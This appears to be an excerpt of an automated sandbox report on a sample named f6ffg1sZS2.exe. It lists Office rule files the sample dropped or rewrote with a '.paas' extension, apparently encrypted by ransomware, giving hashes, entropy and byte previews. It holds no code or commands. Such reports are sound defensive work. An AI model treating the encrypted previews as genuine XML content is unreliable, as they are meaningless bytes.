Preview:	<?xml..J.N..b..4"..-......=".we4...#0.#U.?U....s.F~.Z...I`.;8Y.p:..<.... .^..L, ........uw..q...o._.J.K...YB...9.).v..l...fJ.1..F..9...&-.....y..?...G6y....U{.!...... .H..Z..K.o.W..F.......-...]...Z^..y....K....A.....A<3.....g.s+..-.g..}...j...x..0V...=^...j....Nj........SD,x.....%.].wu,W..w..(H..%C...7..$`...>'....]..T..../..$\|..H..3....-[.h=.,....Px...$.g.G.*.5vD.:w>u.?V#.ES.iz.....X^.F7..&R..t.j%..!....~w......`F.i^.'.y.....w.B.w....n.ci....M..=...n...f;B0.....6.SQm..ke..Xn.zr.DdJ..'....~t....:.9..=%....S..P..S..j...0...a..%...,.$._....k..l..:...!.;...d...EJ.C..%....J..s......._...n...\....NTq..P5..~.a....zt.../.g...F......k.;.w.b........O._.\|FK0.7...v.yj.L.)..X...eb..qC.(......b..k.}..^.ZK/.....R!..J.S...95I....h#.......$6...n..;.WV.1..X..W9.G..m+..].Q.Xo..x...O..U..:..x..N.........i.9D@=B.Z....K..2...R...i..A.!...lV...g.:?...N..m.<u......St0iU...;.c.1.:....W.K...-.d.....y..UJ.."nS.j.w:1...7...Q;....M..g..jS.wk.P..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.703643086443539
Encrypted:	false
SSDEEP:	12:M9vxw57F3XMWDj6B06OF6ypz4NASBd6GQ2vjJzvCcD/vOg2e+4ZMgS2cii9a:S2J5qB06OF6yR4HBd6EdHDnOg1MIbD
MD5:	70FFAABD32778AAEC1650238FE8B2581
SHA1:	940B46EB80FE939885D313802F7410957CFB1859
SHA-256:	2486085C97F5AFA3307ECF4A656492336A85B351C14155CE0E10AFF8BABA2D66
SHA-512:	439C6736C9B090CE458E920C9D2CECE1DE72397C162B45976E84E6AFAD9EEF24393324DFF57DBDC2F62A3EED470371383FF96C69F9F8E5A5B8993C6ACF049A53
Malicious:	false
Preview:	<?xmlLT....<.......k.!..vh..T._S.....6L..-h...M.F'.......SI7$tF......1....tL.T]....E......Z@;\Z....\4...".\.._.yA.i.xy.~...\|&...{.<.C.a.....G..X....c\Gi.a.k..1..**....Iy..)..~..k.;V.N.&Dk....otr.HA.P.....k...p!j..@..y....;...r..`......jt....s.>..^...y..U%4..G......J..GL..6.5.;{........-..U..M..k.0.... 4w..bqN..R...<......@1.J7.'....OH...a_...9x.].}.j.v..J_a..\|.45..!....i'k.u........@<..13...%.X.t.[.N.Q<+.1R..<`.l...n...up. >;........M.....J..c.p....^..S.....O..lk.,..#..;....P....g..J...........F..r........g...5..z{f...a...!.....$p..d...u..T.8S.j...m..=!.c..Y....H-,..C./..\.X1t.c..nk....:..4..uu@{..6..!...Y.gD...].L_.;..R.U..h K..\g..9..l..H..s.=....yd..T..p..X.As?.hU6...t$..TH..?..7&..l.s.1..NY".!.J>.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.8264504616344865
Encrypted:	false
SSDEEP:	24:r6W4NDzpIROzDX+k5z92LrH9ZRyrbUjbD:GBpIEOBrdTyrbU3D
MD5:	E8FF2B2D67BD32B99D67AF3E63ECA020
SHA1:	47A64D269ABD06D3A3D459995B6B976A4AE4D0B2
SHA-256:	0D310129D851FD9B468AEECB3801B7BEEB93DCD703301229109184367B31C42A
SHA-512:	E059869AF9DFE180897C6426553057225CD210AB5BC018F8FA29A39EADC7F0B55D4AC800CB4FAA92BDA2D98EBDA65BC228CD83B4B0279A5BB8BE87F7EC765E0F
Malicious:	false
Preview:	<?xml..I.".....~......K..e...............D....D.4.b....@wB.g.\|.. .....p...z&w..Z!....f..-.......R.J.,p...\C.+......6.N#c.`pH..T......$$...1..4^.~..9p.o.J.Z....Q....H0..o.....DV.C.8..."...N..^../..7%....cO..6..?-.....[..:......DLr<$.cn......%.{`. ..Q6j.0e.(Ji.::?.PTQ..DI.nW.......X.$.bd..z$.....ef.QF....Af.....O...j.e..`...#...^......=T.(..A.......V.0..3F.Q..M;9jc2...)WY..M..5n.....5....`......C...R.-...~.sY.......CD.Z<.>.o,....N...o.\|ZB...^......P.z=.D.R....4...L..m.3.s.M...o..(.sD87...mO.....c..2.y.^..Y..7........v.'...T.. ....{..'0.~l.G./h.....To.Xm..jM.=J...GX....z.....`=...U.d..JK{..euP..F..=k..:..g."...8..=.<w.4.wk.&.<...../..Wkw.H.........\|)..P.F...uZ(...L.".i.4...>...^G.h......./n^H.............d!.}...u.B."..t.o..+.#8,.....t..S......l.=V-..K...7.....sJ]..eT......L.p1.;.F.@m...(.z6..=...C...)...'....$O...$M2&......Kgy5..C'.1..-..1...Y..U.)........>qD.......k..:]7..9R.k.A.....,.J<...V..9...z.Y.nLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.855437675990266
Encrypted:	false
SSDEEP:	24:0qb7ByC3P/LrRBkKIDH+S7XjAujnH8MY3LxUftPwz60BcsGQRQCos4bD:0qByCP/XKD9zAenA3Lgt78rGQRKTD
MD5:	344E6269F1AFFDA0A7C007BCEA494EE6
SHA1:	6CEDBF803DAE535E15DA9E79C319BB1061942733
SHA-256:	A78A494F434EAD428B148EF1CF2523E7704627DA65952280979D302676506E70
SHA-512:	85DDAFE29ABE624372445A6CE8588B99AE26E420E48973ADB5E67A521AAF27E97A981ADE8D1EA0F2982CC0839CB14783BFDA6A05E590BC9E5E127376F2174A17
Malicious:	false
Preview:	<?xml8.S..M4`(..:..4..~./.a.....1..?..8...Q...h$g.1p1.U.'R..{..59.._....y.9.Ee...#.7..G....(.V...z!z..T.D.?o..8..v".U.....u?u..l.....`)m...m. .t..Zo.f....Db..Tz..@..E.7w...wJg....1etC..4..C.Xi]-G7h...-&....J../......L...Q..@.9..z5..T........8..n..Fi!...>orq.R.W@.T..J...1...255.c.w...c..4...:W..,.Z.Y(.w.'Kb&.g...;...... .]M..X".T...?...]`.......mK`..b.v;SiL...%s..nr(.c.'0i.z...i.q...Y.u.0.hn......K.N..=.......m.T.?...!hd.-.H..}............t...`.{..8_......ql..w..Z.ku../..X.$...w.......{.t......=....U.d+E1..h...m`..KQ.D~..NE....`....?5.l.&..B.)i.....Q._..w%.0..[vl...1c..[.../..,`....^1...6.s...C2.s..`.........c.`..(.W..[......-{..1...D.R..H.......s...BD`....Pv./.....?.KW.I%.".(... .[]s.U.)r..&.f...).7{XP}\|...%..n.).$.2D.w......."% .<.+I..#.......&l#...V..;..1../...... ..k;...`.....?=.q.&3..u...Ea.%..w..V..J."0....1g.jn.%..:>r..wR#G"/p.....&..q..IR..-..N...rN.......J........F....i......,`r.P...0$..RX71x......x....13.7(.;E....o.g..e.6

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.9197538048357385
Encrypted:	false
SSDEEP:	48:e2DjMX7S+J6pPRviiz5+8hoph/gBJUOOtQCqw79EvmpilRIVPwBSD:NDjMX712PRqmCgjUZzqw7O3IV4B6
MD5:	FAB5AD6ED775C00BD6B7E32D6AB359A6
SHA1:	7FFCE5C05E4FDE1AF88CC37B921001A06E9BA3F9
SHA-256:	11936E1FB31784593864E5C12EDF067B334EDBD9E64AC295535860005CDA2F95
SHA-512:	486B00C5E9BF230B7A90EDB36CD572003D95FDFF052D422D0A57AD89A1C29147FF9AE2528B78A8B88CB86BB04D09B6187CB6E6F605C675F05C39FD5218466F9B
Malicious:	false
Preview:	<?xmln?.&......F.Y.....Kj)...G......f.5...>r...-Ux..&..,%.Ho......8.e...FX..p.....Q.h-).......c...9.../.>\|.@J4........W.BmJ#..{A..Z...l#.d....Mu.e..@.F..X.{..W..!.@.>..%./G:D...].M3l.C..P....ii-L..O.X.17...2ul@..n...R$S...E..Ft.).\r....`W.Y...ao.1,..1.L&..}.3...t..q'.I.... ..,...!.4..bk.=.BJ"?..}_.5 ..,".U.V.g.Y@.I.@.UW....2."....&.Wf.!.G]...".....4.....MH...........U.F..}..%."."8'\|8....dJ}....... .,....d..p)..^..J.Tnu...Q../'p..#..m.........f......9.]Ro..T.Yn.h.......V.....Uu'.g...l..[7....B..Y...U.....J.....D..]DG...X..v.@!;w..........g7.wJ-........Q.Z.9..E..2.2tn.(l..Fy..yIn.......9...UM<../....C.B.;.?6Hf.Y..h.eQZ;.31...%)...h..N`.3.....X.q..K.?...YB..;jB.9...i..78P.w.G........H.. <.u.!......f.....!..g(87..e. ..Y..=f.../.....v..9S..V.C..qp..~t...,....$. ..D.YY".g..s........XI.j1\.G...]'.S...4m.Y.opKj.......PX.89.q.........M........../.w...8........Wh....'.....?2....wz.R..m.MehA....O....Hg....p...';.\|..R..qj....6._.=..'\|<T...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.851281907982599
Encrypted:	false
SSDEEP:	24:RnVH8li1Qifh7E9SCQ9muCafwOEsVdLEvOZX4yvl5vEdBkLvcrqJpdPcP2GIbD:RVmGKwlmTafwOE2d5XXvrEdacrqjRcPk
MD5:	94AFDC42AFDDA0EFA6BEB4BFE3FF5EEC
SHA1:	37763115702543EBB1A8953BB62011AE64134DC4
SHA-256:	0B44B25FCC0DD9058D26C18F9B2AFB13AAAC114033E00E4ECD7CA78B26512F7C
SHA-512:	D8388B86B75FB0BD7D75F3E4C02CB82A0461CEC56AF82746AB41C6C88FC2C95AC405B92CC02373544EAC56C55B8517255683485DEF8C2F3C142B4C3B902C2C06
Malicious:	false
Preview:	<?xml..P5...f)...c.s?..7.j..O`..I.0C.\|......uRs6T..}6..\...%A%=.m..=.L.+......!nV.e#{......9.O...K..:.eXZ....!-.,..A}H2...s....5.X..Q...i.C.r..f..,..k.p\6..f./.....p.9FM...t......>....,.J...}..w...R...r...D2.....=..n....N._~.A....U.....}M..!c...N...Cda6.....p...V...PD.....haOcH)a>...sJU.W.Y..>='U...L.8..<@.$\|......:..[..........F.D%..4........C&......d..j..w..!\|O..^t.^j..._D.[...]....;.20......d.....f@j.;...a.....!i..P.._.z......F..N\H......%..-. N^....dEl...bC'...x......./..........z.rM%..ge.E.zKgB...4......tU.c..F.R.;P7.r.h.d........9...d....~.'>...'GKFG........E.\|.P...a.K.[..,....(.'.+..N.(..[F..<WT........."u...(.A..-..".8...\.f..{c? ..NK..G8.o"&...Y....)......G..G...j.}U...G..d.=...;`f@..h.Sr.d`[z..8g..e.g.b..A.#.'@...s[7..)..,....4..wf.....B\..X.W.C,...s.4m...H:_..l.L.Q;...b.e..X....XN(.......G.....w...QEt.4wj..5"b.n.!..Gt..y.!e..r.g.o.........\.....&U..c.*......Xx.Y ...D<-.a?4?...0)f).W5EU.......W.39...\|..DwK.1E..F.............l4

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.794492591582069
Encrypted:	false
SSDEEP:	24:3iM6/W3vyklEwcip8sr/GIfAO4M4ROJksT7VwYwbD:3WFqWsrDCyksT2dD
MD5:	A95C36A90E170E33EC93A250D204E362
SHA1:	4458277579127540EEB50097544E9D55259C8E37
SHA-256:	BC401E0CD1375CFDD767A7B3CAD32DE88F90E13CD34D6D7AD6C9EEE70F038B8E
SHA-512:	72443302F4DF1A652D8D5785939003B2B454D268A65F03A6C27F7FEEC9C73370E58BAAEE2E5DE60BBBF9C5BE7DFB034ABE92438DD3CDAA3FCE974F22C9FB5036
Malicious:	false
Preview:	<?xml.^.C.lnS....7f=[.l}..{z.>.P(.....\........du"(....7..j..y.....Mzy@.z.....#L.....V.h?.#.]..IJ..1.f..8....R).V..d4"]Vp...~..%..b..wy:......m.J.+.F0..._}.x_..qPD..4.gj...>.B6T`.Z.S..-f..\|2.."..or.Rc...m.....r...V..L.~....)..5.ys3..P......bN....{..\|'.j......Q{....H.;..z..S...6y.Z.7.\.l[.p.o./%Qe..!..8.t...PI.A.x...L.E.Oa.^k.....P...E.k....x,O.....Z.n. ....G..3.N...%}...v.X,\|.S.=...-D.Z}.,.H..~P..M.jy.D:P$6.R[AcK....ZUS.6..Vy.H...J....r..4..[.....3.I.)......F.9..\|Kw.U...[.].8.J/.^./1$.7...+T.....11D.{`.7.....\.K.M...b......DD.?eo=.a1./.>...%.0c^......rBW%.N....e.o...."\|~..j,a..m...u..x#.Ht&.p....A\|2.$.hB.o....8Y.S...L.H.:....g..1\.@....y.z..4..W..M.%>......A[,...j.q..lYX..S...*..&..]...mJ;o..1Z.%.^..Z.TO#....^...PMk...M.{.G.....V..l....G...$i..m.;^0..)..}}...24IG~Nh.....I..uu.....Q..8..?........\:..ur...L....[.....uCy...O<..M......:........p...}...NN......s.l.\+[.r....[..).WR........;pLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tz

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.894120600676343
Encrypted:	false
SSDEEP:	48:HEmVlY64IQEzoFTyjZ2+YnW9SomYCF6XifD:HEWYfTu5uW9SomtF6SL
MD5:	F8B437CE667FE71CC75C62D0D8DC8E68
SHA1:	378E5ACAB71754FE9CD3D45076F6CB410E0A9CD6
SHA-256:	53F5DBD3A426825963EE1BBAC51DAA944230D3ACD8267811448A3A9A5F100D1F
SHA-512:	585EAF53844AB63FA46ECFB68F5A67E11CE122FD65B2C2DC8C5E5F2E42C51DB28448F641E8E62F927D965B3E35C6591EF45488A4A452893D3E31E8EBC44688B1
Malicious:	false
Preview:	<?xml...^M..N..^.n..&..8.x...M..{.)..2.iI.+......>p..eu..c....._.S...u>\|.K........M.-+........e.....lF..x.U.!..#...V:m...........9. %......I.`u..o....>.N....I1.......K.hJ.....N-v]..qr.@x..J...B...\|..^rh.f...Z.T.#N.d&.q...eC7.5..i...:....^.f3..G;..G....wqf..}Jb.B....>.3........v#......f\@O7.....A{p.C.1....:..fw...q`......0zB..+..=..@..7S}.6A.Y..;....RM..g2.B..A?.p...o4....L.....iX....r...}n.:.08..G.3..A.K`I.%4?t...n..".Xh.....v.:..*}.......z...........Q?..Q..r....x&....(Z..-..?..q'...}.. m.......b..u...G.h>.c..g.k?n.......~h h.&Q...r..WU...}...........S.....<..cI..W..i..?.^;.k...`...N.............-.r}3%.=.0%.}..}y..#...JR.j...y....cn#....P.7.....H\hx..~K>.>............ .K....<.N..1.....k]b....(.xsz.GCx9.............U#.M...@.N.#...k.....s..wY....1.Qm..=..".&.]_.O...4..9lC...7J.K.}.e............k.......o..E......>./'...O]..C.L.x.-.G6..^..G...O..w}.......Fz.w..........b.....I....k..%w.9..%.>......vc..jD.i)........U.........(...4E.[..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.850407009852104
Encrypted:	false
SSDEEP:	24:+3iGVmc+UbfByvuNQdmhTnd8pS/NaXJuBgOtIfIZbNoIj+IlfNvjxySxbD:aNVmcZbJymydczexQvZbNou+IlfRjtD
MD5:	638F7142674BF21CFCD4E465419D3A9B
SHA1:	9A7C8673226F0264E2A66602D670FD062D16A4FB
SHA-256:	1B94F39A24A4889CDCA872764F3583711DE39EC7E935022E157A94D2B6C4D601
SHA-512:	787B22EFA96EB1F74F770E0228902140C1D4EEE3C7C2B7E112D85108EF16AC9C726B323881DBAE5400AC4CB86DFA1F34FB625459FCB20DC62C234EA9F3BFD372
Malicious:	false
Preview:	<?xmlV....2k.Bw.X.K.\|.....N...%..a4..7..Z...N......A..U.......T.....G.>.C.8.....L.....I...p..h.L.`...IV...jG&.X....y.).Q.{.......>.x.$z..\..W...0O.....O.>C."9s..>.P.......l.G..c.2.7.y.]......].D.B..c39..u&......y\|.~...ACFC.H....-X.tq.%....G)...,......,K...(F..\..l....19..........T&...M...>..0.z~.l.q..Pp.\|.<.U0.).b:.7.W.,.^9..S..R.GN.2.~t.S..!Cb...2.r...q.r.N......>c.es3..S....A..a..!@......'8..F.....^...Z....... ...n..z.....X..T...+q.&..W<.@5....t..E...b....j....(.....0.........])..vu..e,.r.U.x.....:~..,..\.......m...n.KI.C8.?...[W%...?1..g.h\|Q.......NCm..r..V..+G...Vgo...P.../....Qz..D.+..-q..2..>Y...Z.a$.qD...rH........@..7......H....t....._6..Y.......f3.....@%.D\..[vW....v....;.A..~..u...&#.=..T;...%z.6....aN.s.O .SX.,9.%..).bg...~M..C../._.=.....?........".{..@<..Mg....W...^.....q..+...y....!.Bd..Z....]&..t..D.2..v..y....Gpp.-....>....B"....?.w.B.C.del...tW..}...,.n{...T.k.K.I..U.#l.*....].)\|.i......A@..\|....`"n....I

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.846384920402785
Encrypted:	false
SSDEEP:	24:Qy/YTph1TvT0NuhFZa58+Wxj2ki8qsU0PejPAidBLmD6oPIX4ucALbD:Qywdjf00FZEuxj2bnjvdBZpX4ujD
MD5:	8211840CBA7269F817CF8659BDBB2EFE
SHA1:	F26854B38CFC82F36FA98EA7218DA73F64BD6F79
SHA-256:	029BE89EBCED8C43C71AB375F4CE1F635F8A1CD32EAC0E9372CD623D2988CB0B
SHA-512:	5826738DAD8D52FF9E74E81822AC600EEAB395B5845BA2DCAA03F6226A7156134027C39D9233032A5B842168DC313731550CB37C06CFDD4A8E16BEF718861020
Malicious:	false
Preview:	<?xml-..j.&...z.b......X.....\.W.8.I.....r~...r.H.k.....%.UQy.4j..E...rPs3...h...m8`.x..JW.R..l....?.....;&..R.4.+....Gb.V%.>LlR..+...R......l5./.T...Y...OH^....`.R....q..t....>.,.....`.N.2..d /m......l.C.dE...)7$.5..y`.C..].x7..z.4.5h:+......:.B...l<>...F..:...D.o...E.:"..<...w..,o.Iw>V...R..;sO.L@.s....L..)!....T.D.............\..../.ae.W!r"\|........b..B.W.....T5.4.c...i.LA.!......n.Bc.....v../s...C.....V.g.v.\.Y..-...xK..^\|..xx..A.X...`..Z...~y.i>m.:.Ds.l(.!..W...HtPG...W...~....ML.o.'..LOr.J...?...kOa......xQ...42..E..D u..........`lR...H.Ir.....5.f...@ ........dF......QK...2..b.).}.6i..hF.X.E.M.3.v^.......%A.s......c\.eZM.+.u7...`.......... .....=.j....RP.u.g^........#...w.v<....o.....c.........[j9q......62.!z.0L......9\.}70.g.....i.K.5......{..t...T`P#...L....1!..gq)p....V.d...m]M...R.B-.T]...Xs......o/.....t.....2QY.Fq.U./.....$.}>cR.zI,.-s.G%..UOr)....Um6O...T.....Lp..p%....yrr....3j..0.A..l.Mxa...m....l.GV.........U\|K..R.E.f..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.888832551376399
Encrypted:	false
SSDEEP:	48:fYooB3spe9u+AJxVhV7kjO/oLV1hzsaVhRtjcmOTXYD:ibu+y1t1/uV1hzsaVhR2mOY
MD5:	A799F22A7093DBDE76DEE9E7DF49DF48
SHA1:	95398E1CC54BD6BE2134122FA30D73D716E0C3A5
SHA-256:	EBDD3379D34B3B26212F4772ECD939AE620A8EDABC34373DB2A7927F4BF3535D
SHA-512:	F49B878A759A7DDC2778F02C81A83151B808CF7E4904C897B006BDB15EB3EFBDC98937D405A87B429D40587CA6E0134372D1BF676E1917AF167DAB83BC8CDAEC
Malicious:	false
Preview:	<?xmlB.y...HC#.z.....>.R..x\|;....d.g'N@."#..O....zO........#....<........9.&...b.....rf ..eXE...G.<..DI...3...../.....hCZ9l.2.X...`R.J..G..n.j.e..a.!f.=&d..$0J..c..D6........c..+=.5.../.....7.G....\|[...........n......:.....N,..\|.9...3;...l='<?....\|.w.\|...$[?!........M ..LP_$...A..`7.4p..g.1................\{.m.:......#....w.i...p...DXjSb...j;......6....I...p.\|.z....+c...%~1>../...k/C.(..0..z..;3..k...n.px0....`.e..%.u..Y..gp...W."...x....8...;..S.e....Rw..fg.....L.".g.H_....B.MP..?..P.......qJ.RFd+\|.1...tx.......C.tu.NW=.D..):..04...vkG.J.#2(...S..f0.BTJ.,?...t}v...'....".Q@...'.....i.].T.E..h...(..^ivX.t.y.'L.!.....7`...E95-w...i..;....R.i..KU.\d.^e......]K..`....v...;t!j7......;..a...m.......(..E...R....V.......Ef...A.. :D.c.h[4.c.{......U.i..f....E.)..U...4T....e.p.....?}.d\..V...1Y.`.yh4s.....yN.O.sh.X..O...V....8k.~..a^0vx`..B`F.r\|..f.y.v..N."}..a}...._~..;._6h..#..M......Xg.....<B"..C.....8....x.&.[..1.+.\.Ui-.~%..Z..=.......%.;]k.J...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.845668842796743
Encrypted:	false
SSDEEP:	24:AIYNjPA4slrH6sgOklIjUMuJD6uy6Km9EadvptoFfh+nPROWEuYdJo4HjU0bD:yNjP6D6sQsfuB6uy6KgH3oFfGROWpYU6
MD5:	E02CB56518FA22179557A200E029F6E5
SHA1:	223CC246D3056172046D65E9C293FC6D621D88B5
SHA-256:	C9E49D771D6EA747AA8983E0C7C288A04521244A0BBA59B455EE7CA9430BD62C
SHA-512:	70C21641F9EF149BADBE3E59591ECB785AEC878B7052496B68E3445F2C4704E1DDB5B844F56B581218952E4FCA9BFE3990B7719E8F0D057DB6DE6BED99BA1219
Malicious:	false
Preview:	<?xml).B.....:.#_~m...~.cQ6 .sje8...f,....6.N..o....b...d..K.....P!.?..uXm6.FU.`\..aCQ....-0T.DT..4.ZC...(...3".b.C ..r...G........\|;.!@X..0>....]rx.wD. oM.>.j_.tC.k.p...W.J.<....[U..B.z/..........E...0....]..._2..C.@.^..4.W.a..'CB4.Y.`...5.+V_.u..b..8<v..P.r\|.....]..g........S....P.q../..P..........b....e>......-..Gyfg.9.wz..}..-.=z v.\|6.l....\|d.s......lB.<...\E.Q.....y...._..,.v.......}.......+CC23..........F..!.Y}NH..;vLqdU'Q}.n...3g?J4.9..,j.f.s......;p.k._..o...6...O...l]...N!b....S#./.R8._6..k!Ug..o.7.2...YCd[.2.....8.uv...\k.....k.c95.Qi....&.c.a....a...cJ...u.....v=C.]i..#R.=....n.u..yZH..Mi.j.C."!.C.-...l.P....R.?....>-K..<6.2y@...e....@6@..R$.u.....X.@~._z.).9...\|..\.;.a...~....c.?X(A...Z....u..........S.1{...=.....J.].Q.DC.>.c....s....{.2.k..%.:..2s.x..]....C.xK.h.(....&..M..,..I2l...V./s.1%......Q$.#.L..?..lt..N-.Z.}.Z..~.T...R[.TK....0i..e..........<8..L.l........8../.K".&.....S...........b#K.e......n..w...u..e...b...L..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870576610070814
Encrypted:	false
SSDEEP:	24:8qQe+oYV5yUtzTD8B3eVTeiVJ8D6+sgSc/FmAvMGXKo2eTBfT/p7bD:8qMoU5ztz8BOhed6+sgSc/baZeVfT/tD
MD5:	35D1D8D79E85104E8AB0A7F9387B4B8C
SHA1:	C38701433EFF349886E3E9FFC257713F37BF2D0D
SHA-256:	D6958BFE6DC56E50A05D06229455CC6DE2012F1B150DE94336C80BFA54B7D592
SHA-512:	5C8D65D7686223E9897134B7A524E104350582A929435DECD19599EE29C120FFEDCE85BE07038C6D4C920115A371C8F15094C4F01CE56596DE09E834E6A74CC2
Malicious:	false
Preview:	<?xml...rgAZ.....O.6;,..M@..Y..q....1~_.'.{.@$....g?....J..V....N..s..t..Al.C./.V......P......LU...ff.....Dd+3`...e"o..Cb.}....k.<.R.Xq...No3.4fVfg.j.>p...n....~....\|...V...R..c.._.L.j...B.8.)}qI.5..u..&WQ5.X..[..E...607..2h....I}...ODq... .....f\|.....V........"V..\...E.....X_..[}OT..<..g.....~.....B.<...^...(S...f..A....0...Mo(....J...-..B....\|.7...\|..../.kG$.]N...}<.S4.....&........e...\|.2..Hu=.o...+..b}vS.:qG.8c....`.s%..;..K.?.....e^"i.}...6F.{...Y.zd..."$...K....q.`=7..!......tKl..{t.P.......V.8..['..H..W...W..T.....Q.p\|.. 4$.7....P.g. K'.r...e..6.vY.p...>C.._)....S....+.I.f....Md...N.ao.M.p.bZ.[.:..i.....BE...}..}.t..e..)\|.u..h..t\B9........Ag..\|..]...\|.K...}@[.......~...\.?KeA..P.....?.x.A........4j.j..0`S;.C...t\|,....>.J..V..Zq...i....3.zW./%\...=...r.X.6.'........(....."..ps.9.]aDr:\u>....n......KR..a..jIg.k3.+S+....^8...r-..EG=...P..O...sO.oo...~)LU..{H2@t*<M........p...&...9.......n.{....:F...w..qI.H....N..H._..)...&....K

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.770493756427925
Encrypted:	false
SSDEEP:	24:CdagLFznMy2sX+HH+u1iWshnB1Yy9eiC+r4JbD:lgOfsoUzjeH+rID
MD5:	F112AC6444562CC24840AD5DAC06DD1A
SHA1:	54D884A9C1009B142F7631E42CF0DD880DF9B07E
SHA-256:	CD7A43AC4E80817016B324E5DD9092BFAF79E53E003BD11894D7B80C249002DE
SHA-512:	BC131D5A4B8840E8C1A6F375190BEA299A893BB59465082D48A0ADFCE01F1B891FF1F367F8C640A3CA0CB574AEDDAD5C97BEC7509AB1877417EC99BCCEE035C1
Malicious:	false
Preview:	<?xml0I]G...!.......K.)XW..S.2t~[.P....p...co..P..5s..o2..p...x..."]...9....]^$.XR,..A....U.....~$L2....e..+`..U..F\|.E.s...B.._;........P...8.....^T.Z.B....<..9043s...e.......%g..?W....q.1.:@.....&..m..rk...B.]...sI$..h.m.o..U.a0.../....=.[z..<.e.6..-...;.[...y.^.P..V.[m........;.qPE]vo".[....cZ..b..@..9..j_AD...TRT./8..\.Q..&sCz..V..V.Fv]...2.o./.H:.{K........3\|....9/.........\.:..nFM;w..W..Z....v.j:....s[..t.qf.ntt..{..T.....)Tf.S...`..: (.&;....R.......}..i...2...6L...\|..9..U....m....z...Ld.G....$.<..p...J. .Gc.N.%..s27.....?_..nY0z..opg..B.a5.B....>c..<.@....xT.t.C..\[H.5?...>n.,.......(x_.....=....h.+.1H{t.....b....X..!S...Lu...s...4[.uV.x...J..".-...)i.H..%.m=.......XY.....p..;).J{....p.....by.1{.J.6....\|wl.!r..A.b.&..(B.R....L#...-.......j...".l..V.J..M....A..S5.h.R..>.j.c!.8.2B..N,Yq.#..eD..3.N..c..>...Z"...I&..q.I)..:.k..~"..i..]....h.;.>..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.954446354300282
Encrypted:	false
SSDEEP:	96:D+YCIdtDhJ/Sqs5W4IEh8adUkJAntZ9rxptvUdQxQQF:aT0DhJ/zs8Ps+kWntvtbU6xQQF
MD5:	F9BFC6BB79815023E385AFECAE00C3C6
SHA1:	00D3E61E3194B4743748DE8F81CF7C6160562014
SHA-256:	E4F1818FFB356E9FA69C67B620559636ABD2DCF71D4F19B94DE9CE99629EB735
SHA-512:	F43B6A8ADF2C9304C773EB6278355E138FDD5F7A753DC8974A2A0AA450AA2D0B739B29C4133531B1F413FA38ACB4C84BE31C2E4D0776608C0253B7444E70B5AA
Malicious:	false
